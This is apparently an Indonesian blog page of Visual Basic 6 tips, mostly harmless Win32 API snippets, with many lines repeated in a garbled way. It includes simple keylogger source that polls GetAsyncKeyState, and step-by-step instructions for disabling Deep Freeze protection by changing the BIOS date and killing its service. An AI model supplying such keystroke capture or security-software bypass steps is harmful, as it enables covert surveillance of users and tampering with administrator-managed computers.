Mustosoft™ Folder Lock V 1.1.1 Salah satu Program yang dibuat Dengan VB6
 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Splash Screen |
 |
| Register |
Mustosoft™ Folder Lock 1.1.1
Read User's Comments0
Mengatur gerakan mouse
Coding ini di bagian Declarations
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long
Lalu coding di bagian Form_Load
SystemParametersInfo 113, 0, ByVal 5, 0
Diatas, font yang berwarna merah diganti dengan kecepatan mouse yang diinginkan (1-20)
Memberi warna pada ProgressBar
Untuk memberi warna pada ProgressBar anda :
buat sebuah module
Masukkan Code ini di module
Private Declare Function SendNotifyMessage Lib "user32.dll" Alias "SendNotifyMessageA" (ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Sub SetPrgColor(Prg As ProgressBar, ForeColor As OLE_COLOR, BackColor As OLE_COLOR)
SendNotifyMessage Prg.hwnd, (&H400 + 9), 0, ForeColor
SendNotifyMessage Prg.hwnd, (&H2000 + 1), 0, BackColor
End Sub
Public Sub SetPrgColor(Prg As ProgressBar, ForeColor As OLE_COLOR, BackColor As OLE_COLOR)
SendNotifyMessage Prg.hwnd, (&H400 + 9), 0, ForeColor
SendNotifyMessage Prg.hwnd, (&H2000 + 1), 0, BackColor
End Sub
lalu coding ini di bagian Form_Load
SetPrgColor ProgressBar1, vbYellow, vbRed
Melihat posisi mouse
Kode ini berguna untuk melihat posisi mouse di layar Monitor
Buatlah form dengan :
- 2 Buah text
- 1 Buah timer (interval=1)
coding ini di bagian Declarations :
Private Declare Function GetCursorPos Lib "user32.dll" (ByRef lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function ClientToScreen Lib "user32.dll" (ByVal hwnd As Long, ByRef lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function ClientToScreen Lib "user32.dll" (ByVal hwnd As Long, ByRef lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Untuk mendapatkan posisi mouse coding di Bagian Timer1_timer
Dim p As POINTAPI
GetCursorPos p
Text1.Text = p.x
Text2.Text = p.y
GetCursorPos p
Text1.Text = p.x
Text2.Text = p.y
Menyembunyikan Taskbar dan Desktop Ikon
Ini adalah script bagaimana menyembunyikan Taskbar dan desktop ikon
,,.-
Coding ini di bagian Declarations
Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Lalu,. coding ini di form
ShowWindow FindWindow("Shell_TrayWnd", vbNullString), 0 'taskbar
ShowWindow FindWindow("Progman", vbNullString), 0 'desktop icon
ShowWindow FindWindow("Progman", vbNullString), 0 'desktop icon
Memindah form tanpa menggunakan border
Untuk menggerakkan form dengan men-Drag sembarang tempat dengan script berikut :
Paste kan code ini di bagian Declarations
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Selanjutnya coding ini di bagian Form_MouseDown
Form berlatar desktop
Ini akan membuat form bergambar seperti gambar desktop yang sekarang ada di desktop anda
tambahkan 1 buah timer (Interval=1)
lakukan coding di Declarations
Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long
lalu Coding di timer1 :
PaintDesktop Me.hdc
Form berbentuk round square & bundar
- Buka vb 6
- Ubah border style form menjadi BorderStyle=None
- Masukkan code ini di Declarate
Private Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Untuk membuat Form berbentuk shape rounded rectangle, di bagian 'Form_Load' tulis:
Dim l As Long
l = CreateRoundRectRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 20, 20)
SetWindowRgn Me.hwnd, l, False
l = CreateRoundRectRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 20, 20)
SetWindowRgn Me.hwnd, l, False
untuk membuat Form berbentuk shape oval / lingkaran, di bagian 'Form_Load' tulis:
Dim l As Long
l = CreateEllipticRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY)
SetWindowRgn Me.hwnd, l, False
l = CreateEllipticRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY)
SetWindowRgn Me.hwnd, l, False
selesai...
Membuat Keylogger di vb6
hahay... maaf gan ni cuma keylogger yang sangat,, amat sederhana....
Anda butuh:
1. Visual Basic 6.0
langsung aja... buka Visual Basic 6.0
Tambahkan :
1. Timer (Interval = 1)
2. Textbox (Text="")
coding di General...
ni codenya...
Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer
End Sub
End Sub
Coding di timer1
Dim a As Integer
For a = 1 To 255
if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next a
For a = 1 To 255
if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next a
nah... jadi.......
Cara mengubah Start di windows XP
Butuh :
1. Resource Hacker (Download)
Caranya :
Buka Resource Hacker and pilih File > Open...
truss pilih explorer.exe di "C:\WINDOWS\explorer.exe"
pilih di situ pada String table > 37 > 1033
hah... selesai.......
Cara mematikan DeepFreeze Secara cepat
1. Boot komputer anda. Masuk ke BIOS dan ubah tahunnya ke beberapa tahun belakang (2 atau 3 tahun sebelumnya). Misalkan 2009, ubah menjadi 2006 atau 2005.
2. Restar komputer dan tekan F8 saat proses booting. Pada daftar pilihan boot, pilih Debug Mode (Start Windows in Debug Mode).
4. Tunggu sampai tampilan Welcome muncul. Segera setelah tampilan itu hilang tekan Ctrl+Alt+Del(kalau perlu saat muncul tampilan selamat datang anda siap-siap pencet saja). Task Manager akan terbuka.
5. Pindah ke tab Processes. Cari proses bernama DF5Serv.exe dan matikan proses itu dengan menekan Delete atau klik kanan – pilih end process.
6. Restar komputer lagi dan ubah tanggalnya sesuai dengan tanggal sekarang.
7. Setelah anda masuk windows akan nampak bahwa ikon deep freeze diberi tanda silang alias sudah Thawed/ mati.
8. Jika anda ingin membuangnya, gunakan installer deep Freeze untuk meng-uninstallnya.Sekian tips cara mematikan Deepfreeze.
Langganan:
Postingan (Atom)